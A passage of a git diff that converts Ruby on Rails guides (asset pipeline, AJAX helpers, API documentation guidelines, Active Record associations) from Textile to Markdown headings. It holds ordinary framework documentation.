@@ -339,7 +348,7 @@ INFO. Cache stores my add their own keys
}
```
-h4. cache_delete.active_support
+### cache_delete.active_support
|_.Key |_.Value|
|+:key+ |Key used in the store|
@@ -350,7 +359,7 @@ h4. cache_delete.active_support
}
```
-h4. cache_exist?.active_support
+### cache_exist?.active_support
|_.Key |_.Value|
|+:key+ |Key used in the store|
@@ -361,15 +370,17 @@ h4. cache_exist?.active_support
}
```
-h3. Rails
+Rails
+-----
-h4. deprecation.rails
+### deprecation.rails
|_.Key |_.Value|
|+:message+ |The deprecation warning|
|+:callstack+ |Where the deprecation came from|
-h3. Subscribing to an event
+Subscribing to an event
+-----------------------
Subscribing to an event is easy. Use +ActiveSupport::Notifications.subscribe+ with a block to
listen to any notification.
@@ -421,7 +432,8 @@ ActiveSupport::Notifications.subscribe /action_controller/ do |*args|
end
```
-h3. Creating custom events
+Creating custom events
+----------------------
Adding your own events is easy as well. +ActiveSupport::Notifications+ will take care of
all the heavy lifting for you. Simply call +instrument+ with a +name+, +payload+ and a block.
diff --git a/guides/source/ajax_on_rails.md b/guides/source/ajax_on_rails.md
index 325878f4c8..0c446faa59 100644
--- a/guides/source/ajax_on_rails.md
+++ b/guides/source/ajax_on_rails.md
@@ -1,4 +1,5 @@
-h2. AJAX on Rails
+AJAX on Rails
+=============
This guide covers the built-in Ajax/JavaScript functionality of Rails (and more);
it will enable you to create rich and dynamic AJAX applications with ease! We will
@@ -8,9 +9,10 @@ cover the following topics:
* Unobtrusive JavaScript helpers with drivers for Prototype, jQuery etc
* Testing JavaScript functionality
-endprologue.
+--------------------------------------------------------------------------------
-h3. Hello AJAX - a Quick Intro
+Hello AJAX - a Quick Intro
+--------------------------
AJAX is about updating parts of a web page without reloading the page. An AJAX
call happens as a response to an event, like when the page finished loading or
@@ -25,21 +27,21 @@ as a +ul+ element node containing several +li+ element nodes. An AJAX call can
be made to obtain a new list item to include, and append it inside a +li+ node to
the +ul+ node.
-h4. Asynchronous JavaScript + XML
+### Asynchronous JavaScript + XML
AJAX means Asynchronous JavaScript + XML. Asynchronous means that the page is not
reloaded, the request made is separate from the regular page request. JavaScript
is used to evaluate the response and the XML part is a bit misleading as XML is
not required, you respond to the HTTP request with JSON or regular HTML as well.
-h4. The DOM
+### The DOM
The DOM (Document Object Model) is a convention to represent HTML (or XML)
documents, as a set of nodes that act as objects and contain other nodes. You can
have a +div+ element that contains other +div+ elements as well as +p+ elements
that contain text.
-h4. Standard HTML communication vs AJAX
+### Standard HTML communication vs AJAX
In regular HTML comunications, when you click on a link, the browser makes an HTTP
+GET+ request, the server responds with a new HTML document that the browsers renders
@@ -50,7 +52,8 @@ communications, the request is separate, and the response is evaluated in JavaSc
instead of rendered by the browser. That way you can have more control over the content
that gets returned, and the page is not reloaded.
-h3. Built-in Rails Helpers
+Built-in Rails Helpers
+----------------------
Rails 4.0 ships with "jQuery":http://jquery.com as the default JavaScript library.
The Gemfile contains +gem 'jquery-rails'+ which provides the +jquery.js+ and
@@ -98,7 +101,7 @@ This will add the +prototype-rails+ gem to the Gemfile and modify the
You are ready to add some AJAX love to your Rails app!
-h4. Examples
+### Examples
To make them working with AJAX, simply pass the <tt>remote: true</tt> option to
the original non-remote method.
@@ -159,7 +162,7 @@ will produce
</form>
```
-h4. The Quintessential AJAX Rails Helper: link_to_remote
+### The Quintessential AJAX Rails Helper: link_to_remote
Let's start with what is probably the most often used helper: +link_to_remote+. It has an interesting feature from the documentation point of view: the options supplied to +link_to_remote+ are shared by all other AJAX helpers, so learning the mechanics and options of +link_to_remote+ is a great help when using other helpers.
@@ -265,7 +268,7 @@ link_to_remote "Add new item",
We are finished with +link_to_remote+. I know this is quite a lot to digest for one helper function, but remember, these options are common for all the rest of the Rails view helpers, so we will take a look at the differences / additional parameters in the next sections.
-h4. AJAX Forms
+### AJAX Forms
There are three different ways of adding AJAX forms to your view using Rails Prototype helpers. They are slightly different, but striving for the same goal: instead of submitting the form using the standard HTTP request/response cycle, it is submitted asynchronously, thus not reloading the page. These methods are the following:
@@ -275,13 +278,13 @@ There are three different ways of adding AJAX forms to your view using Rails Pro
Let's see them in action one by one!
-h5. +remote_form_for+
+#### +remote_form_for+
-h5. +form_remote_tag+
+#### +form_remote_tag+
-h5. +submit_to_remote+
+#### +submit_to_remote+
-h4. Serving JavaScript
+### Serving JavaScript
First we'll check out how to send JavaScript to the server manually. You are practically never going to need this, but it's interesting to understand what's going on under the hood.
@@ -296,7 +299,8 @@ end
What happens here is that by specifying the Content-Type header variable, we instruct the browser to evaluate the text we are sending over (rather than displaying it as plain text, which is the default behavior).
-h3. Testing JavaScript
+Testing JavaScript
+------------------
JavaScript testing reminds me the definition of the world 'classic' by Mark Twain: "A classic is something that everybody wants to have read and nobody wants to read." It's similar with JavaScript testing: everyone would like to have it, yet it's not done by too much developers as it is tedious, complicated, there is a proliferation of tools and no consensus/accepted best practices, but we will nevertheless take a stab at it:
diff --git a/guides/source/api_documentation_guidelines.md b/guides/source/api_documentation_guidelines.md
index 3e8b86e35d..026028a096 100644
--- a/guides/source/api_documentation_guidelines.md
+++ b/guides/source/api_documentation_guidelines.md
@@ -1,14 +1,17 @@
-h2. API Documentation Guidelines
+API Documentation Guidelines
+============================
This guide documents the Ruby on Rails API documentation guidelines.
-endprologue.
+--------------------------------------------------------------------------------
-h3. RDoc
+RDoc
+----
The Rails API documentation is generated with RDoc. Please consult the documentation for help with the "markup":http://rdoc.rubyforge.org/RDoc/Markup.html, and also take into account these "additional directives":http://rdoc.rubyforge.org/RDoc/Parser/Ruby.html.
-h3. Wording
+Wording
+-------
Write simple, declarative sentences. Brevity is a plus: get to the point.
@@ -33,11 +36,13 @@ Spell names correctly: Arel, Test::Unit, RSpec, HTML, MySQL, JavaScript, ERB. Wh
Use the article "an" for "SQL", as in "an SQL statement". Also "an SQLite database".
-h3. English
+English
+-------
Please use American English (<em>color</em>, <em>center</em>, <em>modularize</em>, etc.). See "a list of American and British English spelling differences here":http://en.wikipedia.org/wiki/American_and_British_English_spelling_differences.
-h3. Example Code
+Example Code
+------------
Choose meaningful examples that depict and cover the basics as well as interesting points or gotchas.
@@ -95,7 +100,8 @@ On the other hand, regular comments do not use an arrow:
# polymorphic_url(record) # same as comment_url(record)
```
-h3. Filenames
+Filenames
+---------
As a rule of thumb, use filenames relative to the application root:
@@ -105,9 +111,10 @@ routes.rb # NO
RAILS_ROOT/config/routes.rb # NO
```
-h3. Fonts
+Fonts
+-----
-h4. Fixed-width Font
+### Fixed-width Font
Use fixed-width fonts for:
* Constants, in particular class and module names.
@@ -129,7 +136,7 @@ end
WARNING: Using a pair of +&#43;...&#43;+ for fixed-width font only works with *words*; that is: anything matching <tt>\A\w&#43;\z</tt>. For anything else use +&lt;tt&gt;...&lt;/tt&gt;+, notably symbols, setters, inline snippets, etc.
-h4. Regular Font
+### Regular Font
When "true" and "false" are English words rather than Ruby keywords use a regular font:
@@ -147,7 +154,8 @@ def valid?(context = nil)
end
```
-h3. Description Lists
+Description Lists
+-----------------
In lists of options, parameters, etc. use a hyphen between the item and its description (reads better than a colon because normally options are symbols):
@@ -157,7 +165,8 @@ In lists of options, parameters, etc. use a hyphen between the item and its desc
The description starts in upper case and ends with a full stop—it's standard English.
-h3. Dynamically Generated Methods
+Dynamically Generated Methods
+-----------------------------
Methods created with +(module|class)_eval(STRING)+ have a comment by their side with an instance of the generated code. That comment is 2 spaces away from the template:
diff --git a/guides/source/asset_pipeline.md b/guides/source/asset_pipeline.md
index 771e41e76f..1d4f3eaaa1 100644
--- a/guides/source/asset_pipeline.md
+++ b/guides/source/asset_pipeline.md
@@ -1,4 +1,5 @@
-h2. Asset Pipeline
+Asset Pipeline
+==============
This guide covers the asset pipeline introduced in Rails 3.1.
By referring to this guide you will be able to:
@@ -9,9 +10,10 @@ By referring to this guide you will be able to:
* Add a pre-processor to the pipeline
* Package assets with a gem
-endprologue.
+--------------------------------------------------------------------------------
-h3. What is the Asset Pipeline?
+What is the Asset Pipeline?
+---------------------------
The asset pipeline provides a framework to concatenate and minify or compress JavaScript and CSS assets. It also adds the ability to write these assets in other languages such as CoffeeScript, Sass and ERB.
@@ -34,7 +36,7 @@ rails new appname --skip-sprockets
You should use the defaults for all new applications unless you have a specific reason to avoid the asset pipeline.
-h4. Main Features
+### Main Features
The first feature of the pipeline is to concatenate assets. This is important in a production environment, because it can reduce the number of requests that a browser must make to render a web page. Web browsers are limited in the number of requests that they can make in parallel, so fewer requests can mean faster loading for your application.
@@ -46,7 +48,7 @@ The second feature of the asset pipeline is asset minification or compression. F
The third feature of the asset pipeline is that it allows coding assets via a higher-level language, with precompilation down to the actual assets. Supported languages include Sass for CSS, CoffeeScript for JavaScript, and ERB for both by default.
-h4. What is Fingerprinting and Why Should I Care?
+### What is Fingerprinting and Why Should I Care?
Fingerprinting is a technique that makes the name of a file dependent on the contents of the file. When the file contents change, the filename is also changed. For content that is static or infrequently changed, this provides an easy way to tell whether two versions of a file are identical, even across different servers or deployment dates.
@@ -93,7 +95,8 @@ More reading:
* "Revving Filenames: don’t use querystring":http://www.stevesouders.com/blog/2008/08/23/revving-filenames-dont-use-querystring/
-h3. How to Use the Asset Pipeline
+How to Use the Asset Pipeline
+-----------------------------
In previous versions of Rails, all assets were located in subdirectories of +public+ such as +images+, +javascripts+ and +stylesheets+. With the asset pipeline, the preferred location for these assets is now the +app/assets+ directory. Files in this directory are served by the Sprockets middleware included in the sprockets gem.
@@ -107,7 +110,7 @@ For example, if you generate a +ProjectsController+, Rails will also add a new f
NOTE: You must have an "ExecJS":https://github.com/sstephenson/execjs#readme supported runtime in order to use CoffeeScript. If you are using Mac OS X or Windows you have a JavaScript runtime installed in your operating system. Check "ExecJS":https://github.com/sstephenson/execjs#readme documentation to know all supported JavaScript runtimes.
-h4. Asset Organization
+### Asset Organization
Pipeline assets can be placed inside an application in one of three locations: +app/assets+, +lib/assets+ or +vendor/assets+.
@@ -117,7 +120,7 @@ Pipeline assets can be placed inside an application in one of three locations: +
+vendor/assets+ is for assets that are owned by outside entities, such as code for JavaScript plugins and CSS frameworks.
-h5. Search paths
+#### Search paths
When a file is referenced from a manifest or a helper, Sprockets searches the three default asset locations for it.
@@ -165,7 +168,7 @@ Paths are traversed in the order that they occur in the search path. By default,
It is important to note that files you want to reference outside a manifest must be added to the precompile array or they will not be available in the production environment.
-h5. Using index files
+#### Using index files
Sprockets uses files named +index+ (with the relevant extensions) for a special purpose.
@@ -179,7 +182,7 @@ The library as a whole can be accessed in the site's application manifest like s
This simplifies maintenance and keeps things clean by allowing related code to be grouped before inclusion elsewhere.
-h4. Coding Links to Assets
+### Coding Links to Assets
Sprockets does not add any new methods to access your assets - you still use the familiar +javascript_include_tag+ and +stylesheet_link_tag+.
@@ -208,7 +211,7 @@ Images can also be organized into subdirectories if required, and they can be ac
WARNING: If you're precompiling your assets (see "In Production":#in-production below), linking to an asset that does not exist will raise an exception in the calling page. This includes linking to a blank string. As such, be careful using <tt>image_tag</tt> and the other helpers with user-supplied data.
-h5. CSS and ERB
+#### CSS and ERB
The asset pipeline automatically evaluates ERB. This means that if you add an +erb+ extension to a CSS asset (for example, +application.css.erb+), then helpers like +asset_path+ are available in your CSS rules:
@@ -228,7 +231,7 @@ This inserts a correctly-formatted data URI into the CSS source.
Note that the closing tag cannot be of the style +-%>+.
-h5. CSS and Sass
+#### CSS and Sass
When using the asset pipeline, paths to assets must be re-written and +sass-rails+ provides +-url+ and +-path+ helpers (hyphenated in Sass, underscored in Ruby) for the following asset classes: image, font, video, audio, JavaScript and stylesheet.
@@ -240,7 +243,7 @@ The more generic form can also be used but the asset path and class must both be
* +asset-url("rails.png", image)+ becomes +url(/assets/rails.png)+
* +asset-path("rails.png", image)+ becomes +"/assets/rails.png"+
-h5. JavaScript/CoffeeScript and ERB
+#### JavaScript/CoffeeScript and ERB
If you add an +erb+ extension to a JavaScript asset, making it something such as +application.js.erb+, then you can use the +asset_path+ helper in your JavaScript code:
@@ -258,7 +261,7 @@ Similarly, you can use the +asset_path+ helper in CoffeeScript files with +erb+
$('#logo').attr src: "<%= asset_path('logo.png') %>"
```
-h4. Manifest Files and Directives
+### Manifest Files and Directives
Sprockets uses manifest files to determine which assets to include and serve. These manifest files contain _directives_ -- instructions that tell Sprockets which files to require in order to build a single CSS or JavaScript file. With these directives, Sprockets loads the files specified, processes them if necessary, concatenates them into one single file and then compresses them (if +Rails.application.config.assets.compress+ is true). By serving one file rather than many, the load time of pages can be greatly reduced because the browser makes fewer requests.
@@ -307,7 +310,7 @@ The same remarks about ordering made above apply. In particular, you can specify
```
-h4. Preprocessing
+### Preprocessing
The file extensions used on an asset determine what preprocessing is applied. When a controller or a scaffold is generated with the default Rails gemset, a CoffeeScript file and a SCSS file are generated in place of a regular JavaScript and CSS file. The example used before was a controller called "projects", which generated an +app/assets/javascripts/projects.js.coffee+ and an +app/assets/stylesheets/projects.css.scss+ file.
@@ -317,7 +320,8 @@ Additional layers of preprocessing can be requested by adding other extensions,
Keep in mind that the order of these preprocessors is important. For example, if you called your JavaScript file +app/assets/javascripts/projects.js.erb.coffee+ then it would be processed with the CoffeeScript interpreter first, which wouldn't understand ERB and therefore you would run into problems.
-h3. In Development
+In Development
+--------------
In development mode, assets are served as separate files in the order they are specified in the manifest file.
@@ -339,7 +343,7 @@ would generate this HTML:
The +body+ param is required by Sprockets.
-h4. Turning Debugging off
+### Turning Debugging off
You can turn off debug mode by updating +config/environments/development.rb+ to include:
@@ -368,7 +372,8 @@ The +:debug+ option is redundant if debug mode is on.
You could potentially also enable compression in development mode as a sanity check, and disable it on-demand as required for debugging.
-h3. In Production
+In Production
+-------------
In the production environment Rails uses the fingerprinting scheme outlined above. By default Rails assumes that assets have been precompiled and will be served as static assets by your web server.
@@ -392,7 +397,7 @@ The fingerprinting behavior is controlled by the setting of +config.assets.diges
NOTE: Under normal circumstances the default option should not be changed. If there are no digests in the filenames, and far-future headers are set, remote clients will never know to refetch the files when their content changes.
-h4. Precompiling Assets
+### Precompiling Assets
Rails comes bundled with a rake task to compile the asset manifests and other files in the pipeline to the disk.
@@ -466,7 +471,7 @@ config.assets.manifest = '/path/to/some/other/location'
NOTE: If there are missing precompiled files in production you will get an <tt>Sprockets::Helpers::RailsHelper::AssetPaths::AssetNotPrecompiledError</tt> exception indicating the name of the missing file(s).
-h5. Far-future Expires header
+#### Far-future Expires header
Precompiled assets exist on the filesystem and are served directly by your web server. They do not have far-future headers by default, so to get the benefit of fingerprinting you'll have to update your server configuration to add them.
@@ -496,7 +501,7 @@ location ~ ^/assets/ {
}
```
-h5. GZip compression
+#### GZip compression
When files are precompiled, Sprockets also creates a "gzipped":http://en.wikipedia.org/wiki/Gzip (.gz) version of your assets. Web servers are typically configured to use a moderate compression ratio as a compromise, but since precompilation happens once, Sprockets uses the maximum compression ratio, thus reducing the size of the data transfer to the minimum. On the other hand, web servers can be configured to serve compressed content directly from disk, rather than deflating non-compressed files themselves.
@@ -521,7 +526,7 @@ If you're compiling nginx with Phusion Passenger you'll need to pass that option
A robust configuration for Apache is possible but tricky; please Google around. (Or help update this Guide if you have a good example configuration for Apache.)
-h4. Local Precompilation
+### Local Precompilation
There are several reasons why you might want to precompile your assets locally. Among them are:
@@ -556,7 +561,7 @@ You will also need to ensure that any compressors or minifiers are available on
In practice, this will allow you to precompile locally, have those files in your working tree, and commit those files to source control when needed. Development mode will work as expected.
-h4. Live Compilation
+### Live Compilation
In some circumstances you may wish to use live compilation. In this mode all requests for assets in the pipeline are handled by Sprockets directly.
@@ -580,9 +585,10 @@ group :production do
end
```
-h3. Customizing the Pipeline
+Customizing the Pipeline
+------------------------
-h4. CSS Compression
+### CSS Compression
There is currently one option for compressing CSS, YUI. The "YUI CSS compressor":http://developer.yahoo.com/yui/compressor/css.html provides minification.
@@ -594,7 +600,7 @@ config.assets.css_compressor = :yui
The +config.assets.compress+ must be set to +true+ to enable CSS compression.
-h4. JavaScript Compression
+### JavaScript Compression
Possible options for JavaScript compression are +:closure+, +:uglifier+ and +:yui+. These require the use of the +closure-compiler+, +uglifier+ or +yui-compressor+ gems, respectively.
@@ -610,7 +616,7 @@ Note that +config.assets.compress+ must be set to +true+ to enable JavaScript co
NOTE: You will need an "ExecJS":https://github.com/sstephenson/execjs#readme supported runtime in order to use +uglifier+. If you are using Mac OS X or Windows you have a JavaScript runtime installed in your operating system. Check the "ExecJS":https://github.com/sstephenson/execjs#readme documentation for information on all of the supported JavaScript runtimes.
-h4. Using Your Own Compressor
+### Using Your Own Compressor
The compressor config settings for CSS and JavaScript also take any object. This object must have a +compress+ method that takes a string as the sole argument and it must return a string.
@@ -629,7 +635,7 @@ config.assets.css_compressor = Transformer.new
```
-h4. Changing the _assets_ Path
+### Changing the _assets_ Path
The public path that Sprockets uses by default is +/assets+.
@@ -641,7 +647,7 @@ config.assets.prefix = "/some_other_path"
This is a handy option if you are updating an existing project (pre Rails 3.1) that already uses this path or you wish to use this path for a new resource.
-h4. X-Sendfile Headers
+### X-Sendfile Headers
The X-Sendfile header is a directive to the web server to ignore the response from the application, and instead serve a specified file from disk. This option is off by default, but can be enabled if your server supports it. When enabled, this passes responsibility for serving the file to the web server, which is faster.
@@ -654,7 +660,8 @@ Apache and nginx support this option, which can be enabled in <tt>config/environ
WARNING: If you are upgrading an existing application and intend to use this option, take care to paste this configuration option only into +production.rb+ and any other environments you define with production behavior (not +application.rb+).
-h3. Assets Cache Store
+Assets Cache Store
+------------------
The default Rails cache store will be used by Sprockets to cache assets in development and production. This can be changed by setting +config.assets.cache_store+.
@@ -668,17 +675,20 @@ The options accepted by the assets cache store are the same as the application's
config.assets.cache_store = :memory_store, { :size => 32.megabytes }
```
-h3. Adding Assets to Your Gems
+Adding Assets to Your Gems
+--------------------------
Assets can also come from external sources in the form of gems.
A good example of this is the +jquery-rails+ gem which comes with Rails as the standard JavaScript library gem. This gem contains an engine class which inherits from +Rails::Engine+. By doing this, Rails is informed that the directory for this gem may contain assets and the +app/assets+, +lib/assets+ and +vendor/assets+ directories of this engine are added to the search path of Sprockets.
-h3. Making Your Library or Gem a Pre-Processor
+Making Your Library or Gem a Pre-Processor
+------------------------------------------
TODO: Registering gems on "Tilt":https://github.com/rtomayko/tilt enabling Sprockets to find them.
-h3. Upgrading from Old Versions of Rails
+Upgrading from Old Versions of Rails
+------------------------------------
There are a few issues when upgrading. The first is moving the files from +public/+ to the new locations. See "Asset Organization":#asset-organization above for guidance on the correct locations for different file types.
diff --git a/guides/source/association_basics.md b/guides/source/association_basics.md
index a209c10c77..9b2b4f3bec 100644
--- a/guides/source/association_basics.md
+++ b/guides/source/association_basics.md
@@ -1,4 +1,5 @@
-h2. A Guide to Active Record Associations
+A Guide to Active Record Associations
+=====================================
This guide covers the association features of Active Record. By referring to this guide, you will be able to:
@@ -6,9 +7,10 @@ This guide covers the association features of Active Record. By referring to thi
* Understand the various types of Active Record associations
* Use the methods added to your models by creating associations
-endprologue.
+--------------------------------------------------------------------------------
-h3. Why Associations?
+Why Associations?
+-----------------
Why do we need associations between models? Because they make common operations simpler and easier in your code. For example, consider a simple Rails application that includes a model for customers and a model for orders. Each customer can have many orders. Without associations, the model declarations would look like this:
@@ -63,7 +65,8 @@ Deleting a customer and all of its orders is _much_ easier:
To learn more about the different types of associations, read the next section of this guide. That's followed by some tips and tricks for working with associations, and then by a complete reference to the methods and options for associations in Rails.
-h3. The Types of Associations
+The Types of Associations
+-------------------------
In Rails, an _association_ is a connection between two Active Record models. Associations are implemented using macro-style calls, so that you can declaratively add features to your models. For example, by declaring that one model +belongs_to+ another, you instruct Rails to maintain Primary Key–Foreign Key information between instances of the two models, and you also get a number of utility methods added to your model. Rails supports six types of associations:
@@ -76,7 +79,7 @@ In Rails, an _association_ is a connection between two Active Record models. Ass
In the remainder of this guide, you'll learn how to declare and use the various forms of associations. But first, a quick introduction to the situations where each association type is appropriate.
-h4. The +belongs_to+ Association
+### The +belongs_to+ Association
A +belongs_to+ association sets up a one-to-one connection with another model, such that each instance of the declaring model "belongs to" one instance of the other model. For example, if your application includes customers and orders, and each order can be assigned to exactly one customer, you'd declare the order model this way:
@@ -90,7 +93,7 @@ end
NOTE: +belongs_to+ associations _must_ use the singular term. If you used the pluralized form in the above example for the +customer+ association in the +Order+ model, you would be told that there was an "uninitialized constant Order::Customers". This is because Rails automatically infers the class name from the association name. If the association name is wrongly pluralized, then the inferred class will be wrongly pluralized too.
-h4. The +has_one+ Association
+### The +has_one+ Association
A +has_one+ association also sets up a one-to-one connection with another model, but with somewhat different semantics (and consequences). This association indicates that each instance of a model contains or possesses one instance of another model. For example, if each supplier in your application has only one account, you'd declare the supplier model like this:
@@ -102,7 +105,7 @@ end
!images/has_one.png(has_one Association Diagram)!
-h4. The +has_many+ Association
+### The +has_many+ Association
A +has_many+ association indicates a one-to-many connection with another model. You'll often find this association on the "other side" of a +belongs_to+ association. This association indicates that each instance of the model has zero or more instances of another model. For example, in an application containing customers and orders, the customer model could be declared like this:
@@ -116,7 +119,7 @@ NOTE: The name of the other model is pluralized when declaring a +has_many+ asso
!images/has_many.png(has_many Association Diagram)!
-h4. The +has_many :through+ Association
+### The +has_many :through+ Association
A +has_many :through+ association is often used to set up a many-to-many connection with another model. This association indicates that the declaring model can be matched with zero or more instances of another model by proceeding _through_ a third model. For example, consider a medical practice where patients make appointments to see physicians. The relevant association declarations could look like this:
@@ -173,7 +176,7 @@ With +:through => :sections+ specified, Rails will now understand:
@document.paragraphs
```
-h4. The +has_one :through+ Association
+### The +has_one :through+ Association
A +has_one :through+ association sets up a one-to-one connection with another model. This association indicates that the declaring model can be matched with one instance of another model by proceeding _through_ a third model. For example, if each supplier has one account, and each account is associated with one account history, then the customer model could look like this:
@@ -195,7 +198,7 @@ end
!images/has_one_through.png(has_one :through Association Diagram)!
-h4. The +has_and_belongs_to_many+ Association
+### The +has_and_belongs_to_many+ Association
A +has_and_belongs_to_many+ association creates a direct many-to-many connection with another model, with no intervening model. For example, if your application includes assemblies and parts, with each assembly having many parts and each part appearing in many assemblies, you could declare the models this way:
@@ -211,7 +214,7 @@ end
!images/habtm.png(has_and_belongs_to_many Association Diagram)!
-h4. Choosing Between +belongs_to+ and +has_one+
+### Choosing Between +belongs_to+ and +has_one+
If you want to set up a one-to-one relationship between two models, you'll need to add +belongs_to+ to one, and +has_one+ to the other. How do you know which is which?
@@ -248,7 +251,7 @@ end
NOTE: Using +t.integer :supplier_id+ makes the foreign key naming obvious and explicit. In current versions of Rails, you can abstract away this implementation detail by using +t.references :supplier+ instead.
-h4. Choosing Between +has_many :through+ and +has_and_belongs_to_many+
+### Choosing Between +has_many :through+ and +has_and_belongs_to_many+
Rails offers two different ways to declare a many-to-many relationship between models. The simpler way is to use +has_and_belongs_to_many+, which allows you to make the association directly:
@@ -285,7 +288,7 @@ The simplest rule of thumb is that you should set up a +has_many :through+ relat
You should use +has_many :through+ if you need validations, callbacks, or extra attributes on the join model.
-h4. Polymorphic Associations
+### Polymorphic Associations
A slightly more advanced twist on associations is the _polymorphic association_. With polymorphic associations, a model can belong to more than one other model, on a single association. For example, you might have a picture model that belongs to either an employee model or a product model. Here's how this could be declared:
@@ -338,7 +341,7 @@ end
!images/polymorphic.png(Polymorphic Association Diagram)!
-h4. Self Joins
+### Self Joins
In designing a data model, you will sometimes find a model that should have a relation to itself. For example, you may want to store all employees in a single database model, but be able to trace relationships such as between manager and subordinates. This situation can be modeled with self-joining associations:
@@ -352,7 +355,8 @@ end
With this setup, you can retrieve +@employee.subordinates+ and +@employee.manager+.
-h3. Tips, Tricks, and Warnings
+Tips, Tricks, and Warnings
+--------------------------
Here are a few things you should know to make efficient use of Active Record associations in your Rails applications:
@@ -362,7 +366,7 @@ Here are a few things you should know to make efficient use of Active Record ass
* Controlling association scope
* Bi-directional associations
-h4. Controlling Caching
+### Controlling Caching
All of the association methods are built around caching, which keeps the result of the most recent query available for further operations. The cache is even shared across methods. For example:
@@ -381,15 +385,15 @@ customer.orders(true).empty? # discards the cached copy of orders
# and goes back to the database
```
-h4. Avoiding Name Collisions
+### Avoiding Name Collisions
You are not free to use just any name for your associations. Because creating an association adds a method with that name to the model, it is a bad idea to give an association a name that is already used for an instance method of +ActiveRecord::Base+. The association method would override the base method and break things. For instance, +attributes+ or +connection+ are bad names for associations.
-h4. Updating the Schema
+### Updating the Schema
Associations are extremely useful, but they are not magic. You are responsible for maintaining your database schema to match your associations. In practice, this means two things, depending on what sort of associations you are creating. For +belongs_to+ associations you need to create foreign keys, and for +has_and_belongs_to_many+ associations you need to create the appropriate join table.
-h5. Creating Foreign Keys for +belongs_to+ Associations
+#### Creating Foreign Keys for +belongs_to+ Associations
When you declare a +belongs_to+ association, you need to create foreign keys as appropriate. For example, consider this model:
@@ -415,7 +419,7 @@ end
If you create an association some time after you build the underlying model, you need to remember to create an +add_column+ migration to provide the necessary foreign key.
-h5. Creating Join Tables for +has_and_belongs_to_many+ Associations
+#### Creating Join Tables for +has_and_belongs_to_many+ Associations
If you create a +has_and_belongs_to_many+ association, you need to explicitly create the joining table. Unless the name of the join table is explicitly specified by using the +:join_table+ option, Active Record creates the name by using the lexical order of the class names. So a join between customer and order models will give the default join table name of "customers_orders" because "c" outranks "o" in lexical ordering.
@@ -448,7 +452,7 @@ end
We pass +:id => false+ to +create_table+ because that table does not represent a model. That's required for the association to work properly. If you observe any strange behavior in a +has_and_belongs_to_many+ association like mangled models IDs, or exceptions about conflicting IDs chances are you forgot that bit.
-h4. Controlling Association Scope
+### Controlling Association Scope
By default, associations look for objects only within the current module's scope. This can be important when you declare Active Record models within a module. For example:
@@ -504,7 +508,7 @@ module MyApplication
end
```
-h4. Bi-directional Associations
+### Bi-directional Associations
It's normal for associations to work in two directions, requiring declaration on two different models:
@@ -557,15 +561,16 @@ There are a few limitations to +inverse_of+ support:
* They do not work with <tt>:as</tt> associations.
* For +belongs_to+ associations, +has_many+ inverse associations are ignored.
-h3. Detailed Association Reference
+Detailed Association Reference
+------------------------------
The following sections give the details of each type of association, including the methods that they add and the options that you can use when declaring an association.
-h4. +belongs_to+ Association Reference
+### +belongs_to+ Association Reference
The +belongs_to+ association creates a one-to-one match with another model. In database terms, this association says that this class contains the foreign key. If the other class contains the foreign key, then you should use +has_one+ instead.
-h5. Methods Added by +belongs_to+
+#### Methods Added by +belongs_to+
When you declare a +belongs_to+ association, the declaring class automatically gains four methods related to the association:
@@ -593,7 +598,7 @@ create_customer
NOTE: When initializing a new +has_one+ or +belongs_to+ association you must use the +build_+ prefix to build the association, rather than the +association.build+ method that would be used for +has_many+ or +has_and_belongs_to_many+ associations. To create one, use the +create_+ prefix.
-h6(#belongs_to-association). <tt><em>association</em>(force_reload = false)</tt>
+##### <tt><em>association</em>(force_reload = false)</tt>
The <tt><em>association</em></tt> method returns the associated object, if any. If no associated object is found, it returns +nil+.
@@ -603,7 +608,7 @@ The <tt><em>association</em></tt> method returns the associated object, if any.
If the associated object has already been retrieved from the database for this object, the cached version will be returned. To override this behavior (and force a database read), pass +true+ as the +force_reload+ argument.
-h6(#belongs_to-association_equal). <tt>_association_=(associate)</tt>
+##### <tt>_association_=(associate)</tt>
The <tt><em>association</em>=</tt> method assigns an associated object to this object. Behind the scenes, this means extracting the primary key from the associate object and setting this object's foreign key to the same value.
@@ -611,7 +616,7 @@ The <tt><em>association</em>=</tt> method assigns an associated object to this o
@order.customer = @customer
```
-h6(#belongs_to-build_association). <tt>build_<em>association</em>(attributes = {})</tt>
+##### <tt>build_<em>association</em>(attributes = {})</tt>
The <tt>build_<em>association</em></tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through this object's foreign key will be set, but the associated object will _not_ yet be saved.
@@ -620,7 +625,7 @@ The <tt>build_<em>association</em></tt> method returns a new object of the assoc
:customer_name => "John Doe")
```
-h6(#belongs_to-create_association). <tt>create_<em>association</em>(attributes = {})</tt>
+##### <tt>create_<em>association</em>(attributes = {})</tt>
The <tt>create_<em>association</em></tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through this object's foreign key will be set, and, once it passes all of the validations specified on the associated model, the associated object _will_ be saved.
@@ -630,7 +635,7 @@ The <tt>create_<em>association</em></tt> method returns a new object of the asso
```
-h5. Options for +belongs_to+
+#### Options for +belongs_to+
While Rails uses intelligent defaults that will work well in most situations, there may be times when you want to customize the behavior of the +belongs_to+ association reference. Such customizations can easily be accomplished by passing options and scope blocks when you create the association. For example, this assocation uses two such options:
@@ -653,11 +658,11 @@ The +belongs_to+ association supports these options:
* +:touch+
* +:validate+
-h6(#belongs_to-autosave). +:autosave+
+##### +:autosave+
If you set the +:autosave+ option to +true+, Rails will save any loaded members and destroy members that are marked for destruction whenever you save the parent object.
-h6(#belongs_to-class_name). +:class_name+
+##### +:class_name+
If the name of the other model cannot be derived from the association name, you can use the +:class_name+ option to supply the model name. For example, if an order belongs to a customer, but the actual name of the model containing customers is +Patron+, you'd set things up this way:
@@ -667,7 +672,7 @@ class Order < ActiveRecord::Base
end
```
-h6(#belongs_to-counter_cache). +:counter_cache+
+##### +:counter_cache+
The +:counter_cache+ option can be used to make finding the number of belonging objects more efficient. Consider these models:
@@ -706,13 +711,13 @@ end
Counter cache columns are added to the containing model's list of read-only attributes through +attr_readonly+.
-h6(#belongs_to-dependent). +:dependent+
+##### +:dependent+
If you set the +:dependent+ option to +:destroy+, then deleting this object will call the +destroy+ method on the associated object to delete that object. If you set the +:dependent+ option to +:delete+, then deleting this object will delete the associated object _without_ calling its +destroy+ method.
WARNING: You should not specify this option on a +belongs_to+ association that is connected with a +has_many+ association on the other class. Doing so can lead to orphaned records in your database.
-h6(#belongs_to-foreign_key). +:foreign_key+
+##### +:foreign_key+
